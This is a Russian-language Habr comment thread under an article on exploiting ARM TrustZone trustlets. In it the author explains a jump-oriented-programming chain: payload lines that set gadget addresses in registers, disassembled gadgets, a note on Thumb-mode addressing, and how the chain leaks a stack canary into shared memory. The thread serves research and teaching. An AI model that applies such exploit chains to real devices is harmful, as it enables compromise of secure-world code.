Как стать автором
Обновить

Комментарии 8

Я так понимаю все трастлеты должны иметь подпись для успешной загрузки в Trust World?

Верно. Все трастлеты подписаны.

Спасибо. Интересный метод JOP. Стал с ним разбираться в вашей статье и появилось несколько вопросов
*(int*)&mem1[offset + 16] = 0x9560b;                        // r7

Вот здесь вы в r7 грузите адрес куда передастся исполнение, в инструкции "bx r7"?
Если так, то можно узнать что это за адреса

...
*(int*)&mem1[offset + 16] = 0x96829;                        // r7
...
*(int*)&mem1[offset + 16] = 0x218c7;                        // r7
...
*(int*)&mem1[offset + 16] = 0x9545b;                        // r7


и sVirtualAddr это адрес shared памяти между траст зоной и обычным приложением?
*(int*)&mem1[offset + 8] = mapInfo3.sVirtualAddr + 0x100;   // r4

Да, вы правильно разобрались!
У нас супергаджет такой:


LDMIA           R6!, {R2-R5,R7}
BX              R7

Соответственно, переходы от него происходят по регистру r7. Эти адреса — это адреса других гаджетов, которые я использовал в цепочке вместе с супергаджетом.


.tlbin_text:0009560A                 MOV             R1, R5
.tlbin_text:0009560C                 MOV             R0, R7
.tlbin_text:0009560E                 BLX             R2

.tlbin_text:00096828                 LDR             R0, [SP,#16]
.tlbin_text:0009682A                 ADDS            R5, R5, #1
.tlbin_text:0009682C                 BLX             R1

.tlbin_text:000218C6                 STR             R0, [R5,R3]
.tlbin_text:000218C8                 MOV             R3, R2
.tlbin_text:000218CA                 MOV             R2, R1
.tlbin_text:000218CC                 MOV             R1, R0
.tlbin_text:000218CE                 MOVS            R0, #9
.tlbin_text:000218D0                 BLX             R4

Тут еще надо учитывать, что в архитектуре ARM исполнение может происходить в режимах ARM и Thumb, поэтому надо не забывать инкрементировать адрес в инструкциях прыжков при переходе на Thumb. В ROPGadget, кстати, есть опция, чтобы искать гаджеты либо в одном, либо в другом режимах.


Такой цепочкой при правильно настроенных регистрах, мы можем прочитать канарейку и записать ее в расшаренную память. Как вы правильно сказали, mapInfo3.sVirtualAddr это ее адрес на стороне Normal World.


А для Hello, world! нужен гаджет, который загрузит аргумент в r0 и прыгнет на tlApiLogPrintf. Например, такой :) :


.tlbin_text:0009545A                 MOV             R0, R4
.tlbin_text:0009545C                 BLX             R2
Тут еще надо учитывать, что в архитектуре ARM исполнение может происходить в режимах ARM и Thumb, поэтому надо не забывать инкрементировать адрес в инструкциях прыжков при переходе на Thumb.

Теперь понятно почему некоторые адреса переходов нечетные =)

А у вас не осталось бинаря трастлета, по которому вы это делали.
.tlbin_text:000218D0                 BLX             R4

вот здесь управление должно перескакивать на
*(int*)&mem1[offset + 8] = 0x3d5f4;                         // r4

Просто уже интересно стало что там дальше происходит

Бинарь, конечно, есть. Могу дать)

Буду признателен)
Можно либо здесь, либо в личку
Зарегистрируйтесь на Хабре, чтобы оставить комментарий